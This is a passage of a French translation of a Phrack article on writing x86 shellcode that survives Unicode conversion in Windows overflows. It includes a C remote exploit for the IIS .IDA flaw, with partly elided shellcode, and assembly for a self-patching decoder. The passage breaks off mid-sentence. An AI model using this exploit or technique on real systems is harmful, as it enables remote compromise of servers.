                          ==Phrack Inc.== 

              Volume 0x0b, Issue 0x3d, Phile #0x0b of 0x0f 

|=------------=[ Building IA32 'Unicode-Proof' Shellcodes ]=-------------=| 
|=-----------------------------------------------------------------------=| 
|=------------=[ obscou <obscou@dr.com||wishkah@chek.com> ]=-------------=| 
|=---------------------[ Traduit par X-FaKtOr ]=-------------------------=|


--[ Sommaire 

0 - Le standard unicode 

1 - Introduction 

2 - Notre jeu d'instructions 

3 - Possibilités 

4 - La stratégie 

5 - Position du code 

6 - Conclusion 

7 - Appendice : Le code 


--[ 0 - Le standard unicode 

En exploitant les buffers overflow, nous avons du parfois faire face à une
difficulté: Les transformations de caractères. En fait, le programme
exploité peut très bien modifier notre buffer, en le mettant en
minuscule/majuscule ou en se débarrassant des caractères non
alphanumériques. La transformation dont nous parlons ici est le passage
d'une chaîne Ansi de type langage C (la bien connue null terminated
string)en une chaîne unicode. 


Voici une petite vue d'ensemble de ce qu'est Unicode (source :
www.unicode.org) 


"Qu'est ce qu'Unicode? 
Unicode fournit un numéro unique pour chaque caractère, 
peu importe la plate-forme, 
peu importe le programme, 
peu importe le langage." 

--- www.unicode.org 

Du fait que l'Internet soit devenu aussi populaire, et que nous avons
différents langages et donc des caractères différents, il y a actuellement
nécessité d'avoir un standard pour que les ordinateurs puissent échanger
des données sans se soucier du programme, de la plate-forme, du langage, du
type de réseau...  Unicode est un jeu de caractères sur 16 bits capable
d'encoder tous les caractères connus et utilisé comme un standard mondial
d'encodage de caractères. 

De nos jours, Unicode est utilisé par de nombreux leaders de l'industrie
tels que : 

Apple 
HP 
IBM 
Microsoft 
Oracle 
Sun 
et tant d'autres... 

Le standard unicode est requis par des logiciels tels que : (liste non
exhaustive, regardez sur unicode.org pour une liste complète) 

Systèmes d'exploitations : 

Microsoft Windows CE, Windows NT, Windows 2000, et Windows XP 
GNU/Linux with glibc 2.2.2 ou plus récent - FAQ support 
Apple Mac OS 9.2, Mac OS X 10.1, Mac OS X Server, ATSUI 
Compaq's Tru64 UNIX, Open VMS 
IBM AIX, AS/400, OS/2 
SCO UnixWare 7.1.0 
Sun Solaris 


Et bien sur, par n'importe quel logiciel tournant sur ces systèmes... 

http://www.unicode.org/charts/ : nous montre la table Unicode des
caractères.  Ca ressemble à çà: 

| Rangée    | Jeu de caractère
|-----------|-------------------- 
| 0000-007F | Basic Latin 
| 0080-00FF | Latin-1 Supplement 
| 0100-017F | Latin Extended-A 
| [...]     | [...] 
| 0370-03FF | Greek and Coptic 
| [...]     | [...] 
| 0590-05FF | Hebrew 
| 0600-06FF | Arabic 
| [...]     | [...] 
| 3040-309F | Japanese Hiragana 
| 30A0-30FF | Japanese Katakana 


.... et ainsi de suite jusqu'à ce que tout le monde soit heureux ! 

Unicode 4.0 inclut des caractères pour ces jeux de caractères standards: 

Basic Latin Block Elements 
Latin-1 Supplement Geometric Shapes 
Latin Extended-A Miscellaneous Symbols 
Latin Extended-B Dingbats 
IPA Extensions Miscellaneous Math. Symbols-A 
Spacing Modifier Letters Supplemental Arrows-A 
Combining Diacritical Marks Braille Patterns 
Greek Supplemental Arrows-B 
Cyrillic Miscellaneous Mathematical Symbols-B 
Cyrillic Supplement Supplemental Mathematical Operators 
Armenian CJK Radicals Supplement 
Hebrew Kangxi Radicals 
Arabic Ideographic Description Characters 
Syriac CJK Symbols and Punctuation 
Thaana Hiragana 
Devanagari Katakana 
Bengali Bopomofo 
Gurmukhi Hangul Compatibility Jamo 
Gujarati Kanbun 
Oriya Bopomofo Extended 
Tamil Katakana Phonetic Extensions 
Telugu Enclosed CJK Letters and Months 
Kannada CJK Compatibility 
Malayalam CJK Unified Ideographs Extension A 
Sinhala Yijing Hexagram Symbols 
Thai CJK Unified Ideographs 
Lao Yi Syllables 
Tibetan Yi Radicals 
Myanmar Hangul Syllables 
Georgian High Surrogates 
Hangul Jamo Low Surrogates 
Ethiopic Private Use Area 
Cherokee CJK Compatibility Ideographs 
Unified Canadian Aboriginal Syllabic Alphabetic Presentation Forms 
Ogham Arabic Presentation Forms-A 
Runic Variation Selectors 
Tagalog Combining Half Marks 
Hanunoo CJK Compatibility Forms 
Buhid Small Form Variants 
Tagbanwa Arabic Presentation Forms-B 
Khmer Halfwidth and Fullwidth Forms 
Mongolian Specials 
Limbu Linear B Syllabary 
Tai Le Linear B Ideograms 
Khmer Symbols Aegean Numbers 
Phonetic Extensions Old Italic 
Latin Extended Additional Gothic 
Greek Extended Deseret 
General Punctuation Shavian 
Superscripts and Subscripts Osmanya 
Currency Symbols Cypriot Syllabary 
Combining Marks for Symbols Byzantine Musical Symbols 
Letterlike Symbols Musical Symbols 
Number Forms Tai Xuan Jing Symbols 
Arrows Mathematical Alphanumeric Symbols 
Mathematical Operators CJK Unified Ideographs Extension B 
Miscellaneous Technical CJK Compatibility Ideographs Supp. 
Control Pictures Tags 
Optical Character Recognition Variation Selectors Supplement 
Enclosed Alphanumerics Supplementary Private Use Area-A 
Box Drawing Supplementary Private Use Area-B 

Oui c'est impressionnant ! 


Microsoft nous dit : 

"Unicode est un standard mondial d'encodage de caractères. Windows NT,
2000, et Windows XP l'utilisent exclusivement au niveau système pour la
manipulation de chaînes et de caractères.  Unicode simplifie la
localisation des logiciels et améliore le traitement des textes
multilingues.  En l'implémentant dans vos applications, vous pouvez
octroyer à celles-ci des capacités d'échanges de données universelles pour
aboutir à un marketing plus global, en n'utilisant qu'un seul fichier
binaire pour chaque caractère de codage possible." Nous devons remarquer
que l'interface de programmation Windows utilise les API Ansi et Unicode
pour chaque API, par exemple: 

L'API : MessageBox (affiche une msgbox bien sur)est exporté par User32.dll
avec: 
	MessageBoxA (ANSI)
 	MessageBoxW (Unicode) 

MessageBoxA acceptera une chaine C standard comme argument MessageBoxW
requiert une chaine Unicode comme argument. 

Selon Microsoft, l'usage interne des chaînes est géré par le système
lui-même ce qui assure une conversion complète des chaînes entre différents
standards. Mais si vous voulez utiliser de l'Ansi dans un programme C en
compilant sous Windows, vous devez définir UNICODE et chaque API sera
remplacée par sa version 'W'.Cela me semble logique, entrons maintenant
dans le vif du sujet... 



--[ 1 - Introduction 



Nous allons considérer la situation suivante: 

Vous envoyez des données à un serveur vulnérable, et vos données sont
considérées comme de l'ASCII (un standard 8 bits d'encodage de caractères),
alors votre buffer est converti en unicode pour des raisons de
compatibilités, et ensuite se produit un overflow avec votre buffer
converti. 

Par exemple, un buffer tel que celui-ci : 
4865 6C6C 6F20 576F 726C 6420 2100 0000 Hello World !... 
0000 0000 0000 0000 0000 0000 0000 0000 ................ 

Se transformerait en : 
4800 6500 6C00 6C00 6F00 2000 5700 6F00 H.e.l.l.o. .W.o. 
7200 6C00 6400 2000 2100 0000 0000 0000 r.l.d. .!....... 

Et bang! le débordement (ouais je sais mon exemple est stupide !) 

Sur des plates-formes Win32, un processus commence généralement à l'adresse
00401000, cela rend possible un écrasement de l'EIP avec une adresse de
retour qui ressemble à ceci : 

????:00??00?? 

Donc même après une telle transformation, une exploitation reste possible.
Il va être cependant nettement plus difficile d'obtenir un shellcode
fonctionnel.  Une possibilité est de remplir la pile avec des données non
transformées qui contiennent le même shellcode en de nombreux exemplaires,
ensuite faire l'overflow avec le buffer transformé pour le faire retourner
vers l'un de nos multiples shellcodes.  Ici nous supposons que ceci est
impossible car tous les buffers sont en unicode.  Inutile de préciser que
notre code assembleur ne passera pas cette sécurité.  Ainsi nous devons
trouver des opcodes contenant des octets nuls pour construire notre
shellcode. 

Voici un exemple, qui est un peu vieux mais il montre comment on peut s'y
prendre pour faire un shellcode qui s'exécute même si le buffer que l'on
envoie est ba**é !  Cet exploit fonctionnait sur ma box, il attaque le
service web IIS : 

---------------- CUT HERE ------------------------------------------------- 

/* 
IIS .IDA remote exploit 


Adresse de retour formatée: 0x00530053 



par obscurer 
*/ 

#include <windows.h> 
#include <winsock.h> 
#include <stdio.h> 

void usage(char *a); 
int wsa(); 

/* My Generic Win32 Shellcode */ 
unsigned char shellcode[]={ 
"\xEB\x68\x4B\x45\x52\x4E\x45\x4C\x13\x12\x20\x67\x4C\x4F\x42\x41" 
"\x4C\x61\x4C\x4C\x4F\x43\x20\x7F\x4C\x43\x52\x45\x41\x54\x20\x7F" 
[......] 
[......] 
[......] 
"\x09\x05\x01\x01\x69\x01\x01\x01\x01\x57\xFE\x96\x11\x05\x01\x01" 
"\x69\x01\x01\x01\x01\xFE\x96\x15\x05\x01\x01\x90\x90\x90\x90\x00"}; 

int main (int argc, char **argv) 
{ 

int sock; 
struct hostent *host; 
struct sockaddr_in sin; 
int index; 

char *xploit; 
char *longshell; 


char retstring[250]; 

if(argc!=4&&argc!=5) usage(argv[0]); 


if(wsa()==FALSE) 
{ 
printf("Error : cannot initialize winsock\n"); 
exit(0); 
} 


int size=0; 

if(argc==5) 
size=atoi(argv[4]); 


printf("Beginning Exploit building\n"); 

xploit=(char *)malloc(40000+size); 
longshell=(char *)malloc(35000+size); 
if(!xploit||!longshell) 
{ 
printf("Error, not enough memory to build exploit\n"); 
return 0; 
} 

if(strlen(argv[3])>65) 
{ 
printf("Error, URL too long to fit in the buffer\n"); 
return 0; 
} 

for(index=0;index<strlen(argv[3]);index++) 
shellcode[index+139]=argv[3][index]^0x20; 

memset(xploit,0,40000+size); 
memset(longshell,0,35000+size); 
memset (longshell, '\x41', 30000+size); 

for(index=0;index<sizeof(shellcode);index++) 
longshell[index+30000+size]=shellcode[index]; 

longshell[30000+sizeof(shellcode)+size]=0; 


memset(retstring,'S',250); 

sprintf(xploit, 
"GET /NULL.ida?%s=x HTTP/1.1\nHost: localhost\nAlex: %s\n\n", 
retstring, 
longshell); 


printf("Exploit build, connecting to %s:%d\n",argv[1],atoi(argv[2])); 

sock=socket(AF_INET,SOCK_STREAM,0); 
if(sock<0) 
{ 
printf("Error : Couldn't create a socket\n"); 
return 0; 
} 


if ((inet_addr (argv[1]))==-1) 
{ 
host = gethostbyname (argv[1]); 
if (!host) 
{ 
printf ("Error : Couldn't resolve host\n"); 
return 0; 
} 
memcpy((unsigned long *)&sin.sin_addr.S_un.S_addr, 
(unsigned long *)host->h_addr, 
sizeof(host->h_addr)); 

} 
else sin.sin_addr.S_un.S_addr=inet_addr(argv[1]); 


sin.sin_family=AF_INET; 
sin.sin_port=htons(atoi(argv[2])); 

index=connect(sock,(struct sockaddr *)&sin,sizeof(sin)); 
if (index==-1) 
{ 
printf("Error : Couldn't connect to host\n"); 
return 0; 
} 

printf("Connected to host, sending shellcode\n"); 

index=send(sock,xploit,strlen(xploit),0); 
if(index<1) 
{ 
printf("Error : Couldn't send trough socket\n"); 
return 0; 
} 

printf("Done, waiting for an answer\n"); 

memset (xploit,0, 2000); 

index=recv(sock,xploit,100,0); 
if(index<0) 
{ 
printf("Server crashed, if exploit didn't work, 
increase buffer size by 10000\n"); 
exit(0); 
} 


printf("Exploit didn't seem to work, closing connection\n",xploit); 

closesocket(sock); 

printf("Done\n"); 

return 0; 
} 
---------------- CUT HERE ------------------------------------------------- 


Dans cet exemple, la chaîne d'exploitation doit être constituée comme suit: 

"GET /NULL.ida?[BUFFER]=x HTTP/1.1\nHost: localhost\nAlex: [ANY]\n\n" Si
[BUFFER] est assez grand, EIP est écrasé avec ce qu'il contient.  Mais j'ai
noté que [BUFFER] était converti en unicode quand se produisait l'overflow.
Mais un fait intéressant est que [ANY] était un buffer ASCII clean au
départ, étant mappé en mémoire à environ:00530000...  J'ai donc tenté de
mettre [BUFFER] à "SSSSSSSSSSSSS" (S = 0x53).  Après la transformation en
unicode cela devient: 

...00 53 00 53 00 53 00 53 00 53 00 53 00 53 00 53 00 53... 

Le registre EIP était écrasé avec: 0x005300053, IIS retournait quelque part
près de [ANY], où j'avais placé une quantité de 0x41 = "A"(qui incrémente
un registre) et ensuite à la fin de [ANY], mon shellcode.  Et cela marcha.
Mais nous n'avons aucun buffer clean, nous sommes dans l'incapacité
d'installer un shellcode quelque part en mémoire. Nous devons trouver une
autre solution. 


--[ 2 - Notre jeu d'instructions 


Nous devons garder à l'esprit que nous ne pouvons pas utiliser d'adresses
absolues pour les calls,jmp...car nous voulons que notre shellcode soit
aussi portable que possible. D'abord nous devons connaître quels opcodes
peuvent être utilisés, et lesquels ne le peuvent pas pour élaborer une
stratégie. Comme cela est utilisé couramment dans les papiers Intel: 

r32 se refère à un registre 32 bits (eax,esi,ebp...) 
r8 se réfère à un registre 8 bits (ah,bl,cl...) 


- SAUTS INCONDITIONNELS (JMP) 

Les opcodes pour un JMP sont EB et E9 pour des sauts relatifs, nous ne
pouvons pas les utiliser car ils doivent être suivis par un octet (00
signifierait un saut vers la prochaine instruction ce qui est bien sur
inutile) 

FF et EA sont des sauts absolus, ces opcodes ne peuvent être suivis par un
00, sauf si nous voulons sauter à une adresse connue, ce que nous ne ferons
pas car cela signifierait que notre shellcode contiendrait des adresses en
dur. 

- LES SAUTS CONDITIONNELS (Jcc : JNE, JAE, JNE, JL, JZ, JNG, JNS...) 

La syntaxe pour les far-jump ne peut être utilisée car elle nécessite 2
octets consécutifs non-nuls. La syntaxe pour les near-jump ne peut pas non
plus être utilisée car l'opcode doit être suivi de la distance qui le
sépare de la destination du saut, qui ne sera jamais 00. Aussi les JMP r32
sont impossibles. 


- LES BOUCLES (LOOP, LOOPcc : LOOPE, LOOPNZ..) 

Même problème: E0, ou E1, ou E2 sont des opcodes de BOUCLE, ils doivent
être suivis par le nombre d'octets à boucler... 


- REPEAT (REP, REPcc : REPNE, REPNZ, REP + string opération) 

Tous ceci est impossible à faire du fait que ces instructions commencent
toutes avec un opcode de deux octets. 

- CALL 

Seul, les calls relatifs peuvent être utiles: 
E8 ?? ?? ?? ?? 
Dans notre cas, nous devons avoir: 
E8 00 ?? 00 ?? (avec chaque ?? != 00) 
Nous ne pouvons pas utiliser ceci car la destination du call serait au
moins  01000000 octets plus loin... 
Aussi, le CALL r32 est impossible. 


- AFFECTATION D'OCTETS SUR CONDITION (SETcc) 

Cette instruction nécessite 2 octets non nuls. (SETA est 0F 97 par exemple). 



Et bien...C'est plus difficile que ça le semblait...Nous ne pouvons faire
aucun test... Car nous ne pouvons rien faire de conditionnel ! De plus,
nous ne pouvons pas nous déplacer dans notre code: aucun saut ni call ne
sont permis, et ni les boucles ni les repeats ne peuvent êtres effectués. 

Alors, que pouvons-nous faire ?  Le fait que nous ayons de nombreux octets
nuls va permettre beaucoup d'opérations sur le registre EAX...Car quand
vous utilisez EAX, [EAX], AX, etc...comme opérande, c'est souvent codé en
Hexa avec un 00. 

- OPCODES A UN SEUL OCTET 

Nous pouvons utiliser n'importe quel opcode à un seul octet, cela va nous
donner n'importe quel INC ou DEC sur n'importe quel registre, XCHG et
PUSH/POP sont aussi possibles, avec les registres en tant qu'opérandes.
Ainsi nous pouvons faire: 
XCHG r32,r32 
POP r32 
PUSH r32 

Pas mal. 


- MOV 
________________________________________________________________ 
|8800 mov [eax],al 						| 
|8900 mov [eax],eax 						| 
|8A00 mov al,[eax] 						| 
|8B00 mov eax,[eax] 						| 
| 								| 
|Relativement inutile. 						| 
|_______________________________________________________________| 

________________________________________________________________ 
|A100??00?? mov eax,[0x??00??00] 				| 
|A200??00?? mov [0x??00??00],al 				| 
|A300??00?? mov [0x??00??00],eax 				| 
| 								| 
|Ceux-ci nous sont inutiles. (Nous avons bien dis aucune 	|
|adresse en dur). 						| 
|_______________________________________________________________| 

________________________________________________________________ 
|B_00 mov r8,0x0 						| 
|A4 movsb 							| 
| 								| 
|Peut-être pourrions nous utiliser ceux-ci. 			| 
|_______________________________________________________________| 

________________________________________________________________ 
|B_00??00?? mov r32,0x??00??00 					| 
|C600?? mov byte [eax],0x?? 					| 
| 								| 
|Cela pourrait être utile pour patcher la mémoire. 		| 
|_______________________________________________________________| 



- ADD 

________________________________________________________________ 
|00__ add [r32], r8 						| 
| 								| 
| En utilisant n'importe quel registre en tant que pointeu,	|
|nous pouvons ajouter des octets en mémoire. 			| 
| 								| 
|00__ add r8,r8 						| 
| 								| 
| Pourrait être une manière de modifier un registre. 		| 
|_______________________________________________________________| 


- XOR 

________________________________________________________________ 
|3500??00?? xor eax,0x??00??00 					| 
| 								| 
| 								| 
| Pourrait être une manière de modifier le registre EAX. 	| 
|_______________________________________________________________| 


- PUSH 

________________________________________________________________ 
|6A00 push dword 0x00000000 					| 
|6800??00?? push dword 0x??00??00 				| 
| 								| 
| Seul ceci peut être réalisé. 					| 
|_______________________________________________________________| 


--[ 3 - Possibilités 


D'abord nous devons nous débarrasser d'un petit détail:le fait que nous
ayons de tels 0x00 dans notre code requiert de la prudence car si vous
retournez d'un EIP écrasé à ADDR: 

... ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ... 
|| 
ADDR 

Le résultat pourrait être complètement différent si vous retournez à ADDR
ou à ADDR+1 ! Mais, nous pouvons utiliser en tant qu'instruction 'NOP', des
instructions telles que: 

________________________________________________________________ 
|0400 add al,0x0 						| 
|_______________________________________________________________| 

A cause du fait que: 000400 représente: add [2*eax],al, nous pouvons sauter
où nous le voulons, nous ne serons pas ennuyés par le fait que nous devions
tomber sur un 0x00 ou pas. 

Mais cela demande que 2*eax soit un pointeur valide.  Nous avons également: 

________________________________________________________________ 
|06 push es 							| 
|0006 add [esi],al 						| 
| 								| 
|0F000F str [edi] 						| 
|000F add [edi],cl 						| 
| 								| 
|2E002E add [cs:esi],ch 					| 
|002E add [esi],ch 						| 
| 								| 
|2F das 							| 
|002F add [edi],ch 						| 
| 								| 
|37 aaa 							| 
|0037 add [edi],dh 						| 
| ; .... etc etc... 						| 
|_______________________________________________________________| 

Nous devons juste nous montrer prudent avec ce problème d'alignement. 

Ensuite, regardons ce qui peut être fait: 

XCHG, INC, DEC, PUSH, POP registre 32 bits peuvent être faits directement 

Nous pouvons mettre un registre (r32) à 00000000 : 
________________________________________________________________ 
|push dword 0x00000000 						| 
|pop r32 							| 
|_______________________________________________________________| 

Notons que tout ce qui peut être fait avec EAX peut être fait avec
n'importe quel registre grâce à l'instruction XCHG. 

Par exemple nous pouvons mettre n'importe quelle valeur dans EDX avec un
0x00 en seconde position : 
(par exemple : 0x12005678): 
________________________________________________________________ 
|mov edx,0x12005600 ; EDX = 0x12005600 				| 
|mov ecx,0xAA007800 						| 
|add dl,ch ; EDX = 0x12005678 					| 
|_______________________________________________________________| 


Plus difficile: nous pouvons mettre n'importe quelle valeur dans EAX (par
exemple), mais nous devrons user d'une petite astuce avec la pile: 

________________________________________________________________ 
|mov eax,0xAA003400 ; EAX = 0xAA003400 				| 
|push eax 							| 
|dec esp 							| 
|pop eax ; EAX = 0x003400?? 					| 
|add eax,0x12005600 ; EAX = 0x123456?? 				| 
|mov al,0x0 ; EAX = 0x12345600 					| 
|mov ecx,0xAA007800 						| 
|add al,ch 							| 
| ; finally : EAX = 0x12345678 					| 
|_______________________________________________________________| 


Note importante : nous pourrions avoir envie de mettre des 0x00 aussi : 

Si nous voulions un 0x00 à la place de 0x12, alors à la place d'ajouter
0x00120056 au registre, nous pouvons simplement ajouter 0x56 à ah: 

________________________________________________________________ 
|mov ecx,0xAA005600 						| 
|add ah,ch 							| 
|_______________________________________________________________| 

Si nous voulions un 0x00 au lien de 0x34, alors nous devons avoir
EAX=00000000 pour commencer, au lieu de tenter de mettre cet octet 0x34. 

Si nous voulions un 0x00 au lien de 0x56, alors il est simple de soustraire
0x56 à ah en ajoutant 0x100 - 0x56 = 0xAA à ca: 
________________________________________________________________ 
| ; EAX = 0x123456?? 						| 
|mov ecx,0xAA00AA00 						| 
|add ah,ch 							| 
|_______________________________________________________________| 

Si nous voulions un 0x00 à la place du dernier octet effacez juste la
dernière ligne. 

Si vous n'aviez pas pensé à çà, souvenez-vous que vous pouvez sauter à un
emplacement donné avec (en admettant que l'adresse est dans EAX): 
________________________________________________________________ 
|50 push eax 							| 
|C3 ret 							| 
|_______________________________________________________________| 

Vous pouvez utiliser ceci dans les cas désespérés. 


--[ 4 - La stratégie 



Il semblerait qu'il soit presque impossible d'obtenir un shellcode
fonctionnel avec un si petit jeu d'instructions...Mais çà ne l'est pas !
L'idée est la suivante : 

Pour un shellcode fonctionnel donné, nous devons nous débarrasser des 00
entre chaque octet. Il nous faut une boucle, alors faisons-en une, avec EAX
pointant sur notre shellcode : 

_Code_de_la_boucle_:____________________________________________
| ; eax pointe sur notre shellcode 				| 
| ; ebx est égal à 0x00000000 					| 
| ; ecx est égal à 0x00000500 (par exemple) 			| 
| 								| 
| label: 							| 
|43 inc ebx 							| 
|8A1458 mov byte dl,[eax+2*ebx] 				| 
|881418 mov byte [eax+ebx],dl 					| 
|E2F7 loop label 						| 
|_______________________________________________________________| 

Problème: non-unicode. 
Transformons le en unicode: 

43 8A 14 58 88 14 18 E2 F7, serait : 
43 00 14 00 88 00 18 00 F7 

Ensuite, en considérant le fait que nous pouvons écrire des données à un
endroit pointé par EAX, ce sera simple de transformer ces 00 en leurs
valeurs originales. 

Nous devons simplement faire ceci (nous supposons que EAX pointe sur nos
données) : 

________________________________________________________________ 
|40 inc eax 							| 
|40 inc eax 							| 
|C60058 mov byte [eax],0x58 					| 
|_______________________________________________________________| 

Problème : ce n'est toujours pas unicode. Comme 2 octets tels 0x40 se
suivent, nous avons besoin d'un 00 entre les deux...Comme 00 ne peut pas
convenir, il nous faut quelque chose comme ceci : 00??00, Ce qui
n'interfèrera pas avec notre affaire, donc: 

add [ebp+0x0],al (0x004500) 

Le fera parfaitement. En définitive on obtient: 

________________________________________________________________ 
|40 inc eax 							| 
|004500 add [ebp+0x0],al 					| 
|40 inc eax 							| 
|004500 add [ebp+0x0],al 					| 
|C60058 mov byte [eax],0x58 					| 
|_______________________________________________________________| 

-> [40 00 45 00 40 00 45 00 C6 00 58] n'est rien d'autre qu'une chaîne
unicode!  Avant la boucle, nous devons avoir fait certaines choses: D'abord
nous devons fixer un compteur, je propose de mettre ECX a 0x500, cela nous
autorisera un shellcode de 1280 octets (mais ne vous gênez pas pour le
changer). 
->C'est aisé à faire à l'aide de ce que nous venons de remarquer.  Ensuite
nous devons avoir EBX=0x00000000, de façon à ce que la boucle marche
correctement. 
->C'est également facile à réaliser.  Enfin nous devons avoir EAX qui
pointe sur notre shellcode dans le but de supprimer les octets nuls. 
->Ceci sera la partie la plus difficile dans notre tache, aussi nous
verrons cela plus loin. 

En supposant que EAX pointe sur notre code, nous pouvons construire une
en-tête qui va nettoyer notre code des octets nuls (nous usons d'un add
[ebp+0x0],al pour aligner les octets nuls): 

->1ère partie: nous mettons EBX=0x00000000, et ECX=0x00000500 (la taille
approximative de notre buffer) 

________________________________________________________________ 
|6A00 push dword 0x00000000 					| 
|6A00 push dword 0x00000000 					| 
|5D pop ebx 							| 
|004500 add [ebp+0x0],al 					| 
|59 pop ecx 							| 
|004500 add [ebp+0x0],al 					| 
|BA00050041 mov edx,0x41000500 					| 
|00F5 add ch,dh 						| 
|_______________________________________________________________| 

->2ème partie: Le patch de la portion de code de la boucle: 43 00 14 00 88
00 18 00 F7 doit devenir : 43 8A 14 58 88 14 18 E2 F7 Ainsi nous devons
patcher exactement 4 octets, ce qui est simple: 

(N.B: en utilisant {add dword [eax],0x00??00??} cela prend plus d'octets
aussi nous utiliserons un mov a un seul octet : {mov byte [eax],0x??} pour
faire ceci) 

________________________________________________________________ 
|mov byte [eax],0x8A 						| 
|inc eax 							| 
|inc eax 							| 
|mov byte [eax],0x58 						| 
|inc eax 							| 
|inc eax 							| 
|mov byte [eax],0x14 						| 
|inc eax 							| 
| ; encore un inc pour avoir avoir EAX sur notre shellcode 	| 
|_______________________________________________________________| 

Ce qui se fait, avec l'instruction 'd'alignement' {add [ebp+0x0],al} : 

________________________________________________________________ 
|004500 add [ebp+0x0],al 					| 
|C6008A mov byte [eax],0x8A ; 0x8A 				|				 
|004500 add [ebp+0x0],al 					| 
| 								| 
|40 inc eax 							| 
|004500 add [ebp+0x0],al 					| 
|40 inc eax 							| 
|004500 add [ebp+0x0],al 					| 
|C60058 mov byte [eax],0x58 ; 0x58 				| 
|004500 add [ebp+0x0],al 					| 
| 								| 
|40 inc eax 							| 
|004500 add [ebp+0x0],al 					| 
|40 inc eax 							| 
|004500 add [ebp+0x0],al 					| 
|C60014 mov byte [eax],0x14 ; 0x14 				| 
|004500 add [ebp+0x0],al 					| 
| 								| 
|40 inc eax 							| 
|004500 add [ebp+0x0],al 					| 
|40 inc eax 							| 
|004500 add [ebp+0x0],al 					| 
|C600E2 mov byte [eax],0xE2 ; 0xE2 				| 
|004500 add [ebp+0x0],al 					| 
|40 inc eax 							| 
|004500 add [ebp+0x0],al 					| 
|_______________________________________________________________| 

C'est bon, nous avons maintenant EAX qui pointe sur la fin de la boucle, ce
qui revient à dire sur le shellcode. 

->3ème partie: Le code de la boucle (rempli d'octets nuls bien sur) 
________________________________________________________________ 
|43 db 0x43 							| 
|00 db 0x00 ; écrasé par 0x8A 					| 
|14 db 0x14 							| 
|00 db 0x00 ; écrasé par 0x58 					| 
|88 db 0x88 							| 
|00 db 0x00 ; écrasé par 0x14 					| 
|18 db 0x18 							| 
|00 db 0x00 ; écrasé par 0xE2 					| 
|F7 db 0xF7 							| 
|_______________________________________________________________| 

Juste après cela nous devons placer le shellcode fonctionnel original. 



Comptons la taille de cette en-tête : (les octets nuls ne comptent pas
evidemment) 

1ère partie : 10 octets 
2ème partie : 27 octets 
3ème partie : 5 octets 
------------------- 
Total : 42 octets 

Je trouve ceci envisageable, car je peux imaginer faire un remote shellcode
Win32 qui tiendrait en environ 450 octets. 

Ainsi, nous l'avons finalement fait : un shellcode qui fonctionne après
avoir été converti en une chaîne unicode ! 

Est-ce réellement tout? Non bien sur, nous oublions quelque chose. J'ai
écris que supposions que EAX pointait exactement sur le premier octet nul
du code de la boucle.  Mais pour être honnête avec vous, je me dois de vous
expliquer une façon d'obtenir ceci. 


--[ 5 - Capitaine, nous ne connaissons pas notre position ! 


Le problème est simple : Nous devons patcher la mémoire pour faire que
notre boucle fonctionne. Aussi nous devons connaître notre position car
nous nous patchons nous-même.  Dans un programme assembleur, une façon
simple de faire cela serait: 

________________________________________________________________ 
|call label 							| 
| 								| 
| label: 							| 
|pop eax 							| 
|______________________________________________________________ | 

Va récupérer l'adresse mémoire absolue de laber dans EAX. 

Dans un shellcode classique il nous faut faire un call vers un adresse
inférieure pour éviter les octets nuls : 

________________________________________________________________ 
|jmp jump_label 						| 
| 								| 
| call_label: 							| 
|pop eax 							| 
|push eax 							| 
|ret 								| 
| jump_label: 							| 
|call call_label 						| 
| ; **** 							| 
|_______________________________________________________________| 

Va récupérer l'adresse mémoire absolue dans '****' 

Mais ceci est impossible dans notre cas, car nous ne pouvons ni sauter ni
faire de call. De plus, nous ne pouvons scanner la mémoire a la recherche
d'une signature de quelque type que ce soit. Je suis sur qu'il doit y avoir
d'autre manière de faire cela mais je n'en aurais que 3 à vous proposer: 


->1ère idée : nous sommes chanceux. 

Si nous sommes chanceux, nous pouvons espérer que certains registre
pointant sur un endroit proche de notre code malveillant. En fait, cela se
produira dans 90% des cas. Cet endroit ne peut être envisagé être écrit en
dur car il changera probablement d'un machine a l'autre. (Le programme,
avant de crasher, doit avoir utilisé vos données et de ce fait il doit
contenir des pointeurs sur ces dernières) Nous savons que nous pouvons
ajouter n'importe quoi à EAX (seulement à EAX) Ainsi nous pouvons: 

-utiliser XCHG pour obtenir l'adresse approximative dans EAX -ensuite
ajouter une valeur à EAX, et ainsi déplacer celle-ci ou l'on veut. 

Le problème est que nous ne pouvons utiliser : add al,r8 ni and ah,r8, car
n'oubliez pas que: 
EAX=0x000000FF + add al,1 =EAX=0x00000000 
Ainsi ces manipulations accompliront différentes choses selon ce que
contient EAX. 

Ainsi tout ce que nous avons est: add eax, 0x??00??00 Aucun problème, nous
pouvons ajouter 0x1200 ( par exemple) a EAX avec: 

________________________________________________________________ 
|0500110001 add eax,0x01001100 					| 
|05000100FF add eax,0xFF000100 					| 
|_______________________________________________________________| 

Ensuite, il est simple d'ajouter des données alignées de façon à ce que EAX
pointe sur ce que nous voulons.  Par exemple: 
________________________________________________________________ 
|0400 add al,0x0 						| 
|_______________________________________________________________| 

Serait parfait pour aligner.  (N.B:nous aurons peut être besoin d'un petit
inc EAX pour que ça convienne) 

De la place supplémentaire peut être nécessaire pour cette méthode
(maximum: 128 octets car nous pouvons seulement faire pointer EAX vers la
plus proche adresse modulo 0x100, ensuite nous devons aligner les octets.
Comme chaque paire d'octets n'est qu'en fait qu'un octet d'un buffer à
cause de l'adjonction des octets nuls, nous devons ajouter au dans le pire
des cas 0x100 / 2 = 128 octets) 


->2ème idée: un peu moins chanceux. 

Si vous pouvez trouver un adresse proche dans vos registre, vous pouvez
sûrement en trouver une dans la pile. Espérons que votre ESP n'a pas été
écrasé après l'overflow.  Vous devez juste faire un POP à partir de la pile
jusqu'à trouver une bonne adresse.  Cette méthode ne peut être présentée
d'une façon générale, mais la pile contient toujours des adresses que
l'application a utilisées avant que vous vous en occupiez.  Notez que vous
pouvez utiliser POPAD pour faire un pop EDI, ESI, EBX, EDX, ECX et EAX.
Ensuite nous utilisons la même méthode que précédemment. 



-> 3ème idée : Dieu oubliez-moi. 

Ici, nous supposons que nous n'avons aucun registre intéressant, ou que les
valeurs que contiennent ceux-ci changer d'un essai à l'autre. De plus, il
n'y a rien d'intéressant dans la pile. 

C'est un cas désespéré donc -> nous utilisons une attaque samouraï suicide. 

Ma dernière idée est de: 

- Prendre une adresse mémoire "aléatoire" qui a des droits en écriture 
- Patcher avec 3 octets 
- Appeler cette adresse avec un call relatif 

La première partie est la plus hasardeuse : nous devons trouver un adresse
qui se trouve dans un section ou l'on peut écrire. Nous ferions mieux d'en
trouver une a la fin d'une section remplie d'octets nuls ou quelque chose
comme ça, car nous allons faire un call plutôt aléatoire. La manière la
